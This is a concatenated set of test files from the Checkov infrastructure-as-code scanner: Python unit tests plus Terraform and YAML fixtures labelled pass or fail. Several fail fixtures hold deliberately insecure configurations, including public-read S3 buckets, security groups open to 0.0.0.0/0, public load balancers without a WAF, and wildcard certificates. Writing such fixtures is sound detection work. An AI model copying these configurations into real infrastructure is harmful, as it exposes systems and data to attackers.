self.assertTrue(BaseResourceCheck._is_variable_dependant("lookup(var.https_listeners,\"protocol\",\"HTTPS\")")) self.assertFalse(BaseResourceCheck._is_variable_dependant("xyz")) self.assertFalse(BaseResourceCheck._is_variable_dependant("123")) self.assertFalse(BaseResourceCheck._is_variable_dependant(123)) self.assertFalse(BaseResourceCheck._is_variable_dependant(True)) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/test_wildcard_entities.py ================================================ import os import unittest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.checks.resource.registry import resource_registry as registry from checkov.terraform.runner import Runner from checkov.runner_filter import RunnerFilter class TerraformCheck(BaseResourceCheck): def __init__(self): name = "Terraform test" id = "CKV_T_1" supported_resources = ['aws_iam_*', 'null_resource', '*s3*'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): return CheckResult.PASSED class TestWildcardEntities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) check = TerraformCheck() test_files_dir = current_dir + "/example_WildcardEntities" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() registry.wildcard_checks['aws_iam_*'].remove(check) registry.checks['null_resource'].remove(check) registry.wildcard_checks['*s3*'].remove(check) del registry.checks['null_resource'] del registry.wildcard_checks['*s3*'] del registry.wildcard_checks['aws_iam_*'] # Only for resource and nof for data "aws_iam_policy_document" self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/context_parsers/__init__.py ================================================ ================================================ FILE: tests/terraform/context_parsers/mock_context_parser.py ================================================ from checkov.terraform.context_parsers.base_parser import BaseContextParser class MockContextParser(BaseContextParser): def __init__(self): definition_type = 'mock' self.definition_type = definition_type def enrich_definition_block(self, definition_blocks): """ Enrich the context of a Terraform resource block :param definition_blocks: Terraform resource block, key-value dictionary :return: Enriched resource block context """ parsed_file_lines = self._filter_file_lines() for i, mock_block in enumerate(definition_blocks): mock_type = next(iter(mock_block.keys())) mock_name = next(iter(mock_block[mock_type])) if not self.context.get(mock_type): self.context[mock_type] = {} if not self.context.get(mock_type).get(mock_name): self.context[mock_type][mock_name] = {} for line_num, line in parsed_file_lines: line_tokens = [x.replace('"', "") for x in line.split()] if all(x in line_tokens for x in ['mock', mock_type, mock_name]): self.context[mock_type][mock_name]["start_line"] = 1 self.context[mock_type][mock_name]["end_line"] = 5 self.context[mock_type][mock_name]["code_lines"] = ['ABC', '123'] return self.context def get_block_type(self): return "resource" def get_entity_context_path(self, entity_block): entity_type = next(iter(entity_block.keys())) entity_name = next(iter(entity_block[entity_type])) return [entity_type, entity_name] ================================================ FILE: tests/terraform/context_parsers/mock_tf_files/inline_suppression.tf ================================================ resource "aws_s3_bucket" "multi-line-multi-checks" { region = "var.region" #checkov:skip=CKV_AWS_93,CKV_AWS_21:Skip all #checkov:skip=CKV_AWS_145:The bucket is a public static content host bucket = "local.bucket_name" force_destroy = true acl = "public-read" } resource "aws_s3_bucket" "multi-line-no-comment" { region = "var.region" #checkov:skip=CKV_AWS_93: #checkov:skip=CKV_AWS_145:The bucket is a public static content host bucket = "local.bucket_name" force_destroy = true acl = "public-read" } resource "aws_s3_bucket" "one-line-one-check" { region = "var.region" #checkov:skip=CKV_AWS_145:The bucket is a public static content host bucket = "local.bucket_name" force_destroy = true acl = "public-read" } resource "aws_s3_bucket" "one-line-multi-checks" { region = "var.region" #checkov:skip=CKV_AWS_93,CKV_AWS_145:skip all bucket = "local.bucket_name" force_destroy = true acl = "public-read" } resource "aws_s3_bucket" "no-comment" { region = "var.region" bucket = "local.bucket_name" force_destroy = true acl = "public-read" } ================================================ FILE: tests/terraform/context_parsers/mock_tf_files/mock.tf ================================================ mock "mock_type" "mock_name" { # checkov:skip=CKV_AWS_19:aa # checkov:skip=CKV_AWS_20 # bridgecrew:skip=BC_AWS_IAM_5:some-comment foo = "bar" } ================================================ FILE: tests/terraform/context_parsers/test_base_parser.py ================================================ import os import unittest from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration from checkov.terraform import TFDefinitionKey from checkov.terraform.context_parsers.parsers.resource_context_parser import ResourceContextParser from checkov.terraform.context_parsers.registry import parser_registry from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.AMICopyUsesCMK import check from checkov.terraform.runner import Runner from checkov.terraform.tf_parser import TFParser from tests.terraform.context_parsers.mock_context_parser import MockContextParser mock_tf_file = os.path.dirname(os.path.realpath(__file__)) + "/mock_tf_files/mock.tf" mock_definition = (mock_tf_file, {"mock": [{"mock_type": {"mock_name": {"value": ["mock_value"]}}}]}) inline_tf_file = os.path.dirname(os.path.realpath(__file__)) + "/mock_tf_files/inline_suppression.tf" mock_dir_path = os.path.dirname(os.path.realpath(__file__)) + "/mock_tf_files" class TestBaseParser(unittest.TestCase): def test_enrich_definition_block(self): this_integration = BcPlatformIntegration() this_integration.get_public_run_config() metadata_integration.bc_integration = this_integration metadata_integration.pre_scan() mock_parser = MockContextParser() parser_registry.register(mock_parser) definition_context = parser_registry.enrich_definitions_context(mock_definition) skipped_checks = definition_context[mock_tf_file]["mock"]["mock_type"]["mock_name"].get("skipped_checks") self.assertIsNotNone(skipped_checks) self.assertEqual(len(skipped_checks), 3) # Ensure checkov IDs are mapped to BC IDs self.assertEqual(skipped_checks[2]["id"], "CKV_AWS_15") metadata_integration.bc_integration = bc_integration def test__compute_definition_end_line_with_multi_curly_brackets(self): # given mock_parser = MockContextParser() mock_parser.filtered_lines = [ (1, '#data "aws_iam_policy_document" "null" {}'), (3, 'resource "aws_subnet" "pub_sub" {'), (4, "tags = merge({"), (5, 'Name = "${var.network_name}-pub-sub-${element(var.azs, count.index)}"'), (6, 'Tier = "public"'), (7, '}, var.tags, var.add_eks_tags ? { "kubernetes.io/role/elb" : "1" } : {})'), (8, "}"), ] mock_parser.filtered_line_numbers = [1, 3, 4, 5, 6, 7, 8] # when end_line_num = mock_parser._compute_definition_end_line(3) # then self.assertEqual(8, end_line_num) def test_inline_suppression(self): parser = TFParser() _, tf_definition = parser.parse_hcl_module(mock_dir_path,source='TERRAFORM') resources_parser = ResourceContextParser() parser_registry.register(resources_parser) inline_key = TFDefinitionKey(inline_tf_file) inline_suppression_definition = tf_definition[inline_key] definition_context = parser_registry.enrich_definitions_context((inline_key,inline_suppression_definition)) aws_s3_bucket_resources = definition_context[inline_key]["resource"]["aws_s3_bucket"] self.assertEqual(len(aws_s3_bucket_resources["multi-line-multi-checks"].get("skipped_checks")), 3) self.assertEqual(len(aws_s3_bucket_resources["multi-line-no-comment"].get("skipped_checks")), 2) self.assertEqual(len(aws_s3_bucket_resources["one-line-one-check"].get("skipped_checks")), 1) self.assertEqual(len(aws_s3_bucket_resources["one-line-multi-checks"].get("skipped_checks")), 2) self.assertEqual(len(aws_s3_bucket_resources["no-comment"].get("skipped_checks")), 0) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/context_parsers/test_locals_parser.py ================================================ import unittest from checkov.terraform import TFDefinitionKey from checkov.terraform.tf_parser import TFParser from checkov.terraform.context_parsers.registry import parser_registry import os class TestLocalsContextParser(unittest.TestCase): def setup_dir(self, rel_path): test_root_dir = os.path.dirname(os.path.realpath(__file__)) + rel_path parsing_errors = {} definitions_context = {} tf_definitions = TFParser().parse_directory(directory=test_root_dir, out_parsing_errors=parsing_errors) for definition in tf_definitions.items(): definitions_context = parser_registry.enrich_definitions_context(definition) return definitions_context def test_assignments_exists(self): definitions_context = self.setup_dir('/../evaluation/resources/default_evaluation/') file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/main.tf' key = TFDefinitionKey(file_path=file_path, tf_source_modules=None) assignments = definitions_context[key]['locals']['assignments'] self.assertIsNotNone(assignments) expected_assignments = {'dummy_with_dash': '${format("-%s",var.dummy_1)}', 'dummy_with_comma': '${format(":%s",var.dummy_1)}', 'bucket_name': '${var.bucket_name}'} for k, v in assignments.items(): self.assertEqual(expected_assignments[k], v) def test_assignment_value(self): definitions_context = self.setup_dir('/../evaluation/resources/locals_evaluation/') file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/locals_evaluation/main.tf' key = TFDefinitionKey(file_path=file_path, tf_source_modules=None) assignments = definitions_context[key]['locals'].get('assignments') self.assertIsNotNone(assignments) self.assertEqual(1, len(assignments.items())) for k, v in assignments.items(): self.assertEqual(k, 'common_tags') self.assertIsInstance(v, dict) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/context_parsers/test_parser_registry.py ================================================ import unittest from checkov.terraform.context_parsers.registry import parser_registry from tests.terraform.context_parsers.mock_context_parser import MockContextParser import os mock_definition = (os.path.dirname(os.path.realpath(__file__)) + '/mock_tf_files/mock.tf', {'mock': [ { 'mock_type': { 'mock_name': { 'value': [ 'mock_value']}}} ]}) class TestScannerRegistry(unittest.TestCase): def test_enrich_definition_block(self): mock_parser = MockContextParser() parser_registry.register(mock_parser) definition_context = parser_registry.enrich_definitions_context(mock_definition) self.assertIsNotNone(definition_context[mock_definition[0]]['mock']['mock_type']['mock_name']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/context_parsers/test_variable_context_parser.py ================================================ import unittest from checkov.terraform import TFDefinitionKey from checkov.terraform.tf_parser import TFParser from checkov.terraform.context_parsers.registry import parser_registry import os class TestVariableContextParser(unittest.TestCase): def setUp(self): test_root_dir = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/' parsing_errors = {} tf_definitions = TFParser().parse_directory(directory=test_root_dir, out_parsing_errors=parsing_errors) for definition in tf_definitions.items(): definitions_context = parser_registry.enrich_definitions_context(definition) self.definitions_context = definitions_context def test_assignments_exists(self): file_path = os.path.dirname(os.path.realpath(__file__))\ + '/../evaluation/resources/default_evaluation/variables.tf' key = TFDefinitionKey(file_path=file_path, tf_source_modules=None) self.assertIsNotNone( self.definitions_context[key][ 'variable'].get( 'assignments')) def test_assignment_value(self): file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/variables.tf' key = TFDefinitionKey(file_path=file_path, tf_source_modules=None) self.assertFalse( self.definitions_context[key]['variable'].get( 'assignments').get('user_exists') ) self.assertEqual( self.definitions_context[key][ 'variable'].get( 'assignments').get('app_client_id'), 'Temp') if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/context_parsers/test_variable_context_parser2.py ================================================ import unittest from checkov.terraform import TFDefinitionKey from checkov.terraform.tf_parser import TFParser from checkov.terraform.context_parsers.registry import parser_registry import os class TestVariableContextParser(unittest.TestCase): def setUp(self): test_root_dir = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/' parsing_errors = {} tf_definitions = TFParser().parse_directory(directory=test_root_dir, out_evaluations_context={}, out_parsing_errors=parsing_errors) for definition in tf_definitions.items(): definitions_context = parser_registry.enrich_definitions_context(definition) self.definitions_context = definitions_context def test_assignments_exists(self): file_path = os.path.dirname(os.path.realpath(__file__))\ + '/../evaluation/resources/default_evaluation/variables.tf' key = TFDefinitionKey(file_path=file_path, tf_source_modules=None) self.assertIsNotNone( self.definitions_context[key][ 'variable'].get( 'assignments')) def test_assignment_value(self): file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/variables.tf' key = TFDefinitionKey(file_path=file_path, tf_source_modules=None) self.assertFalse( self.definitions_context[key][ 'variable'].get( 'assignments').get('user_exists') ) self.assertEqual( self.definitions_context[key][ 'variable'].get( 'assignments').get('app_client_id'), 'Temp') if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/evaluation/__init__.py ================================================ ================================================ FILE: tests/terraform/evaluation/resources/default_evaluation/main.tf ================================================ locals { dummy_with_dash = format("-%s", var.dummy_1) dummy_with_comma = format(":%s", var.dummy_1) bucket_name = var.bucket_name } resource "aws_cognito_user_group" "user_group" { name = "${var.customer_name}_group" description = "${var.customer_name} user group" user_pool_id = var.user_pool_id } resource "null_resource" "create_cognito_user" { count = var.user_exists ? 0 : 1 triggers = { build_number = var.user_email } provisioner "local-exec" { command = "aws --profile=${var.aws_profile} --region=${var.region} cognito-idp admin-create-user --user-pool-id ${var.user_pool_id} --username ${var.user_email}" } } data "aws_iam_policy_document" "event_stream_bucket_role_assume_role_policy" { statement { actions = [var.action] resources = [ "*", "abc" ] principals { type = "Service" identifiers = ["firehose.amazonaws.com"] } principals { type = "AWS" identifiers = var.trusted_role_arn } } } resource "aws_s3_bucket" "template_bucket" { region = var.region bucket = local.bucket_name acl = var.acl force_destroy = true } ================================================ FILE: tests/terraform/evaluation/resources/default_evaluation/variables.tf ================================================ variable "customer_name" { default = "Pavel_Checkov" } variable "user_email" { default = "checkov@bridgecrew.io" } variable "bucket_name" { default = "MyBucket" } variable "acl" { default = "public-acl" } variable "action" { default = "*" } variable "trusted_role_arn" { default = "aws:arn:xxx:xxx" } variable "region" { default = "us-west-2" } variable "app_client_id" { description = "Indicates whether the app client has been created" default = "Temp" } variable "user_pool_id" { default = "123" } variable "aws_profile" { default = "default" } variable "dummy_1" { default = "dummy_1" } variable"user_exists"{ default = false } ================================================ FILE: tests/terraform/evaluation/resources/locals_evaluation/main.tf ================================================ locals = { common_tags = { Env = "dev" } } ================================================ FILE: tests/terraform/graph/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks/custom_policies/CustomAwsEMRSecurityConfiguration.yaml ================================================ metadata: name: "Elastic Testing" category: "general" id: "emrbackup1" guidelines: "testing" severity: "high" scope: provider: "aws" definition: or: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "aws_emr_cluster" - or: - cond_type: "connection" resource_types: - "aws_emr_cluster" connected_resource_types: - "aws_emr_security_configuration" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "aws_emr_cluster" connected_resource_types: - "aws_emr_security_configuration" operator: "exists" - cond_type: attribute resource_types: - aws_emr_security_configuration attribute: configuration.EncryptionConfiguration.EnableInTransitEncryption operator: equals value: true ================================================ FILE: tests/terraform/graph/checks/custom_policies/CustomPolicy1.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" scope: provider: "aws" id: "CKV2_AWS_888" definition: and: - cond_type: "connection" resource_types: - "aws_sqs_queue_policy" connected_resource_types: - "aws_sqs_queue" operator: "exists" - cond_type: "filter" attribute: "resource_type" operator: "within" value: "aws_sqs_queue" - cond_type: "attribute" resource_types: - "aws_sqs_queue_policy" attribute: "policy.Statement[?(@.Effect == 'Allow' & @.Principal == '*')]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "aws_sqs_queue_policy" attribute: "policy.Statement[?(@.Effect == 'Allow')].Principal.AWS[*]" operator: "jsonpath_not_equals" value: "*" - cond_type: "attribute" resource_types: - "aws_sqs_queue_policy" attribute: "policy.Statement[?(@.Effect == 'Allow')].NotPrincipal" operator: "jsonpath_not_exists" ================================================ FILE: tests/terraform/graph/checks/custom_policies/CustomPolicy2.yaml ================================================ metadata: name: "Tests resource_types value to be a string" id: "CUSTOM_2" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: "aws_sqs_queue" attribute: "delay_seconds" operator: "equals" value: 900 ================================================ FILE: tests/terraform/graph/checks/resources/ACMWildcardDomainName/expected.yaml ================================================ pass: - "aws_acm_certificate.example_pass" - "aws_acm_certificate.example_pass2" fail: - "aws_acm_certificate.example_fail" - "aws_acm_certificate.example_fail_bad_subject" - "aws_acm_certificate.example_fail_bad_domain" ================================================ FILE: tests/terraform/graph/checks/resources/ACMWildcardDomainName/main.tf ================================================ # pass resource "aws_acm_certificate" "example_pass" { domain_name = "www.example.com" validation_method = "DNS" lifecycle { create_before_destroy = true } domain_validation_options { domain_name = "www.example.com" validation_domain = "example.com" } } resource "aws_acm_certificate" "example_pass2" { domain_name = "example.com" validation_method = "DNS" subject_alternative_names = [ "www.example.com", "blog.example.com", "shop.example.com" ] lifecycle { create_before_destroy = true } } # fail resource "aws_acm_certificate" "example_fail" { domain_name = "*.example.com" validation_method = "DNS" lifecycle { create_before_destroy = true } domain_validation_options { domain_name = "*.example.com" validation_domain = "example.com" } } # fail: using subject_alternative_names resource "aws_acm_certificate" "example_fail_bad_subject" { domain_name = "example.com" # Primary domain without wildcard validation_method = "DNS" subject_alternative_names = [ "*.sub.example.com", # Wildcard in the subject alternative names "www.example.com", "api.example.com" ] lifecycle { create_before_destroy = true } } # fail: using subject_alternative_names resource "aws_acm_certificate" "example_fail_bad_domain" { domain_name = "*example.com" # Primary domain with wildcard validation_method = "DNS" subject_alternative_names = [ "sub.example.com", "www.example.com", "api.example.com" ] lifecycle { create_before_destroy = true } } ================================================ FILE: tests/terraform/graph/checks/resources/ADORepositoryHasMinTwoReviewers/expected.yaml ================================================ pass: - "azuredevops_git_repository.pass" fail: - "azuredevops_git_repository.fail" - "azuredevops_git_repository.fail2" ================================================ FILE: tests/terraform/graph/checks/resources/ADORepositoryHasMinTwoReviewers/main.tf ================================================ resource "azuredevops_git_repository" "pass" { project_id = azuredevops_project.example.id name = "Example Repository" initialization { init_type = "Clean" } } resource "azuredevops_branch_policy_min_reviewers" "example" { project_id = azuredevops_project.example.id enabled = true blocking = true settings { reviewer_count = 7 submitter_can_vote = false last_pusher_cannot_approve = true allow_completion_with_rejects_or_waits = false on_push_reset_approved_votes = true # OR on_push_reset_all_votes = true on_last_iteration_require_vote = false scope { repository_id = azuredevops_git_repository.pass.id repository_ref = azuredevops_git_repository.pass.default_branch match_type = "Exact" } scope { repository_id = null # All repositories in the project repository_ref = "refs/heads/releases" match_type = "Prefix" } } } resource "azuredevops_git_repository" "fail" { project_id = azuredevops_project.example.id name = "Example Repository" initialization { init_type = "Clean" } } resource "azuredevops_git_repository" "fail2" { project_id = azuredevops_project.example.id name = "Example Repository" initialization { init_type = "Clean" } } resource "azuredevops_branch_policy_min_reviewers" "example" { project_id = azuredevops_project.example.id enabled = true blocking = true settings { reviewer_count = 1 submitter_can_vote = false last_pusher_cannot_approve = true allow_completion_with_rejects_or_waits = false on_push_reset_approved_votes = true # OR on_push_reset_all_votes = true on_last_iteration_require_vote = false scope { repository_id = azuredevops_git_repository.fail2.id repository_ref = azuredevops_git_repository.fail2.default_branch match_type = "Exact" } scope { repository_id = null # All repositories in the project repository_ref = "refs/heads/releases" match_type = "Prefix" } } } ================================================ FILE: tests/terraform/graph/checks/resources/ALBProtectedByWAF/expected.yaml ================================================ pass: - "aws_lb.lb_good_1" - "aws_lb.lb_good_2" - "aws_lb.ignore" - "aws_alb.alb_good_1" - "aws_lb.network" - "aws_lb.gateway" fail: - "aws_lb.lb_bad_1" - "aws_lb.lb_bad_2" - "aws_alb.alb_bad_1" ================================================ FILE: tests/terraform/graph/checks/resources/ALBProtectedByWAF/main.tf ================================================ resource "aws_lb" "lb_good_1" { internal= false } resource "aws_lb" "lb_good_2" { internal= false } resource "aws_alb" "alb_good_1" { internal= false } resource "aws_wafregional_web_acl_association" "foo" { resource_arn = aws_lb.lb_good_1.arn web_acl_id = aws_wafregional_web_acl.foo.id } resource "aws_wafv2_web_acl_association" "bar" { resource_arn = aws_lb.lb_good_2.arn web_acl_arn = aws_wafv2_web_acl.bar.arn } resource "aws_wafv2_web_acl_association" "zed" { resource_arn = aws_alb.alb_good_1.arn web_acl_arn = aws_wafv2_web_acl.zed.arn } //public no WAF resource "aws_lb" "lb_bad_1" { internal=false } //internal should ignore resource "aws_lb" "ignore" { internal= true } //public internal not set (takes default - public) resource "aws_lb" "lb_bad_2" { } //public no WAF resource "aws_alb" "alb_bad_1" { internal=false } // NLB or Gateway LB can't have a WAF associated resource "aws_lb" "network" { internal = false load_balancer_type = "network" name = "nlb" subnets = var.public_subnet_ids } resource "aws_lb" "gateway" { load_balancer_type = "gateway" name = "glb" subnet_mapping { subnet_id = var.subnet_id } } ================================================ FILE: tests/terraform/graph/checks/resources/ALBRedirectsHTTPToHTTPS/expected.yaml ================================================ pass: - "aws_lb.lb_good_1" - "aws_lb.lb_good_2" - "aws_lb.lb_good_3" - "aws_alb.alb_good_1" fail: - "aws_lb.lb_bad_1" - "aws_lb.lb_bad_2" - "aws_alb.alb_bad_1" ================================================ FILE: tests/terraform/graph/checks/resources/ALBRedirectsHTTPToHTTPS/main.tf ================================================ resource "aws_lb" "lb_good_1" { } resource "aws_lb" "lb_good_2" { } resource "aws_lb" "lb_good_3" { } resource "aws_alb" "alb_good_1" { } resource "aws_lb" "lb_bad_1" { } resource "aws_lb" "lb_bad_2" { } resource "aws_alb" "alb_bad_1" { } resource "aws_lb_listener" "listener_good_1" { load_balancer_arn = aws_lb.lb_good_1.arn port = "443" protocol = "HTTPS" default_action { type = "action" } } resource "aws_lb_listener" "listener_good_2" { load_balancer_arn = aws_lb.lb_good_2.arn port = "80" protocol = "HTTP" default_action { type = "redirect" redirect { port = "443" protocol = "HTTPS" status_code = "HTTP_301" } } } resource "aws_lb_listener" "listener_good_3" { load_balancer_arn = aws_lb.lb_good_3.arn port = 80 #as an int protocol = "HTTP" default_action { type = "redirect" redirect { port = "443" protocol = "HTTPS" status_code = "HTTP_301" } } } resource "aws_alb_listener" "listener_good_1" { load_balancer_arn = aws_alb.alb_good_1.arn port = 80 #as an int protocol = "HTTP" default_action { type = "redirect" redirect { port = "443" protocol = "HTTPS" status_code = "HTTP_301" } } } resource "aws_lb_listener" "listener_bad_1" { load_balancer_arn = aws_lb.lb_bad_1.arn port = "80" protocol = "HTTP" default_action { type = "some-action" } } resource "aws_lb_listener" "listener_bad_2" { load_balancer_arn = aws_lb.lb_bad_2.arn port = 80 protocol = "HTTP" default_action { type = "some-action" } } resource "aws_alb_listener" "listener_bad_1" { load_balancer_arn = aws_alb.alb_bad_1.arn port = 80 protocol = "HTTP" default_action { type = "some-action" } } ================================================ FILE: tests/terraform/graph/checks/resources/ALBWebACLConfiguredWIthLog4jVulnerability/expected.yaml ================================================ pass: - "aws_lb.pass_1" fail: - "aws_lb.fail_1" - "aws_lb.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/ALBWebACLConfiguredWIthLog4jVulnerability/main.tf ================================================ # WAFv2 Web ACL resource "aws_wafv2_web_acl" "pass_1" { name = "example-waf-acl" description = "Example WAF Web ACL" scope = "REGIONAL" default_action { allow {} } rule { name = "example-rule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesKnownBadInputsRuleSet" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } rule { name = "example-rule2" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-web-acl-metric" sampled_requests_enabled = true } } # Application Load Balancer resource "aws_lb" "pass_1" { name = "example-alb" internal = false load_balancer_type = "application" security_groups = [aws_security_group.pass_1.id] subnets = [aws_subnet.pass_1.id, aws_subnet.pass_1.id] } # WAF to ALB Association resource "aws_wafv2_web_acl_association" "pass_1" { resource_arn = aws_lb.pass_1.arn web_acl_arn = aws_wafv2_web_acl.pass_1.arn } ################## # WAFv2 Web ACL resource "aws_wafv2_web_acl" "fail_2" { name = "example-waf-acl" description = "Example WAF Web ACL" scope = "REGIONAL" default_action { allow {} } # Add your rules here rule { name = "example-rule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-rule-metric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "example-web-acl-metric" sampled_requests_enabled = true } } # Application Load Balancer resource "aws_lb" "fail_2" { name = "example-alb" internal = false load_balancer_type = "application" security_groups = [aws_security_group.fail_2.id] subnets = [aws_subnet.fail_2.id, aws_subnet.fail_2.id] } # WAF to ALB Association resource "aws_wafv2_web_acl_association" "fail_2" { resource_arn = aws_lb.fail_2.arn web_acl_arn = aws_wafv2_web_acl.fail_2.arn } ################## # WAFv2 Web ACL resource "aws_wafv2_web_acl" "fail_1" { name = "managed-rule-example" description = "Example of WAFv2 ACL with multiple managed rule groups" scope = "REGIONAL" default_action { allow {} } rule { name = "common-rule-set" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesCommonRuleSet" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "CommonRuleSetMetric" sampled_requests_enabled = true } } rule { name = "anonymous-ip-list" priority = 2 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "AnonymousIPListMetric" sampled_requests_enabled = true } } visibility_config { cloudwatch_metrics_enabled = true metric_name = "WAFWebACLMetric" sampled_requests_enabled = true } } # Application Load Balancer resource "aws_lb" "fail_1" { name = "example-alb" internal = false load_balancer_type = "application" security_groups = [aws_security_group.fail_1.id] subnets = [aws_subnet.fail_1.id, aws_subnet.fail_1.id] } # WAF to ALB Association resource "aws_wafv2_web_acl_association" "fail_1" { resource_arn = aws_lb.fail_1.arn web_acl_arn = aws_wafv2_web_acl.fail_1.arn } ================================================ FILE: tests/terraform/graph/checks/resources/AMRClustersNotOpenToInternet/expected.yaml ================================================ pass: - "aws_emr_cluster.cluster_ok" fail: - "aws_emr_cluster.cluster_not_connected" - "aws_emr_cluster.cluster_connected_to_wrong_group" ================================================ FILE: tests/terraform/graph/checks/resources/AMRClustersNotOpenToInternet/main.tf ================================================ resource "aws_emr_cluster" "cluster_ok" { name = "emr-test-arn" release_label = "emr-4.6.0" applications = ["Spark"] ec2_attributes { emr_managed_master_security_group = aws_security_group.block_access_ok.id emr_managed_slave_security_group = aws_security_group.block_access_ok.id instance_profile = "connected_to_aws_iam_instance_profile" } } resource "aws_security_group" "block_access_ok" { name = "block_access" description = "Block all traffic" ingress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["10.0.0.1/10"] } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["10.0.0.10/10"] } } resource "aws_emr_cluster" "cluster_not_connected" { name = "emr-test-arn" release_label = "emr-4.6.0" applications = ["Spark"] ec2_attributes { instance_profile = "connected_to_aws_iam_instance_profile" } } resource "aws_emr_cluster" "cluster_connected_to_wrong_group" { name = "emr-test-arn" release_label = "emr-4.6.0" applications = ["Spark"] ec2_attributes { emr_managed_master_security_group = aws_security_group.block_access_not_ok.id emr_managed_slave_security_group = aws_security_group.block_access_not_ok.id instance_profile = "connected_to_aws_iam_instance_profile" } } resource "aws_security_group" "block_access_not_ok" { name = "block_access" description = "Block all traffic" ingress { from_port = 0 to_port = 65535 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } } ================================================ FILE: tests/terraform/graph/checks/resources/APIGWLoggingLevelsDefinedProperly/expected.yaml ================================================ pass: - "aws_api_gateway_stage.ok_example" fail: - "aws_api_gateway_stage.not_connected" ================================================ FILE: tests/terraform/graph/checks/resources/APIGWLoggingLevelsDefinedProperly/main.tf ================================================ resource "aws_api_gateway_rest_api" "ok_example" { body = jsonencode({ openapi = "3.0.1" info = { title = "ok_example" version = "1.0" } paths = { "/path1" = { get = { x-amazon-apigateway-integration = { httpMethod = "GET" payloadFormatVersion = "1.0" type = "HTTP_PROXY" uri = "https://ip-ranges.amazonaws.com/ip-ranges.json" } } } } }) name = "ok_example" } resource "aws_api_gateway_deployment" "ok_example" { rest_api_id = aws_api_gateway_rest_api.ok_example.id triggers = { redeployment = sha1(jsonencode(aws_api_gateway_rest_api.ok_example.body)) } lifecycle { create_before_destroy = true } } resource "aws_api_gateway_stage" "ok_example" { deployment_id = aws_api_gateway_deployment.ok_example.id rest_api_id = aws_api_gateway_rest_api.ok_example.id stage_name = "ok_example" } resource "aws_api_gateway_method_settings" "all" { rest_api_id = aws_api_gateway_rest_api.ok_example.id stage_name = aws_api_gateway_stage.ok_example.stage_name method_path = "*/*" settings { metrics_enabled = true logging_level = "ERROR" } } resource "aws_api_gateway_method_settings" "path_specific" { rest_api_id = aws_api_gateway_rest_api.ok_example.id stage_name = aws_api_gateway_stage.ok_example.stage_name method_path = "path1/GET" settings { metrics_enabled = true logging_level = "INFO" } } # Bad Example 1 - Not connected or connected with wrong logs errors resource "aws_api_gateway_deployment" "not_connected" { rest_api_id = aws_api_gateway_rest_api.not_connected.id triggers = { redeployment = sha1(jsonencode(aws_api_gateway_rest_api.not_connected.body)) } lifecycle { create_before_destroy = true } } resource "aws_api_gateway_stage" "not_connected" { deployment_id = aws_api_gateway_deployment.not_connected.id rest_api_id = aws_api_gateway_rest_api.not_connected.id stage_name = "not_connected" } resource "aws_api_gateway_method_settings" "all" { rest_api_id = aws_api_gateway_rest_api.not_connected.id method_path = "*/*" settings { metrics_enabled = true logging_level = "ERROR" } } resource "aws_api_gateway_method_settings" "path_specific" { rest_api_id = aws_api_gateway_rest_api.not_connected.id stage_name = aws_api_gateway_stage.not_connected.stage_name method_path = "path1/GET" settings { metrics_enabled = true logging_level = "DEBUG" } } ================================================ FILE: 